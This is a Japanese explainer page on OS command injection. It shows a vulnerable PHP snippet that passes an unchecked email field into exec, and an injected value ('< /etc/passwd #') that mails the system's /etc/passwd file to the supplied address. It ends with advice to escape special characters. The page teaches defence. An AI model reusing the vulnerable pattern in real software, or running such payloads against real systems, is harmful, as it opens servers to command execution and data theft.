Skip links

OSコマンドインジェクション

OSコマンドインジェクションは、Webサイトに向けて不正な入力を行うことにより、Webサーバ側で想定していない動作をさせるサイバー攻撃です。

入力を受け付けるWeb画面を主なターゲットとし、ユーザーからのデータや数値の入力に紛れ込ませて、プログラムに与えるパラメータ(入力値)にOSへの命令文(コマンド)を渡します。この命令文を受け取ったWebサーバが誤ってOSに対する命令を行ってしまうことで被害が発生する攻撃です。

OSコマンドインジェクションの仕組み

① 攻撃者がWebアプリケーションに攻撃パターンを入力

② Webアプリケーション内で入力値とともにコマンド文字列が組み立てられる

③ コマンド文字列がWebサーバのシェルにおいて解釈されて実行される

④ 開発者が意図しないコマンドが実行される

OSコマンドインジェクションが発生するプログラム

Webアプリケーションの画面があり、メールアドレスを入力して実行すると、Webサーバ上でmailコマンドを利用してメールを送信する仕組みがあります。

OSコマンドインジェクションへの対策が行われていない場合、この仕組みを脆弱性として悪用し情報漏えい、改ざん・削除が行われる可能性があります。なお、mailコマンドはLinuxやWindowsPowerShellで利用可能なメール送信を行うコマンドです。

OSコマンドインジェクションが発生するプログラム

その例が、以下のようなプログラムです。下記の例では、メールの本文となるメッセージは別ファイル(/var/data/aaa.txt)が準備されています。

入力されたメールアドレスとともに、メール送信コマンドを実行することでメールが送信されます。

OSコマンドインジェクションが発生するプログラム

$address = $_POST[‘address’]; //画面入力値からメールアドレスを取得

$message_file = “/var/data/aaa.txt”; //メールの本文をファイルより取得

$rtn = exec(‘mail -s “タイトル” ’.$address.’< ‘.$message_file); //mailコマンドの実行

ここで、入力値「address」に不正な文字列が入っていないかをチェックしていない場合には、以下のような入力をされてしまうことがありえます。

xxx@example.com < /etc/passwd # 

すると、プログラム上のexec内は上の値が入力されて、以下のOSコマンドが実行されるようになります。

mail -s “タイトル” xxx@example.com  < /etc/passwd #<  /var/data/aaa.txt

OSコマンドとして上記の命令を行った場合、「#< /var/data/aaa.txt」の部分はコメントと解釈されるため、実際に実行されるコマンドは以下となります。

mail -s “タイトル” xxx@example.com  < /etc/passwd

この結果、/etc/passwdの内容が入力されたメールアドレス宛に流出します。

※/etc/passwdはLinuxの一部でパスワードを格納するファイル

対策

ユーザからの入力値がある場合は、入力値内に想定しない特殊文字(「;」や「<」など)が存在するかどうかをチェックします。これらの特殊文字が入力された場合は、特殊文字を無効化(エスケープ)したり、プログラムの処理を中断するようにします。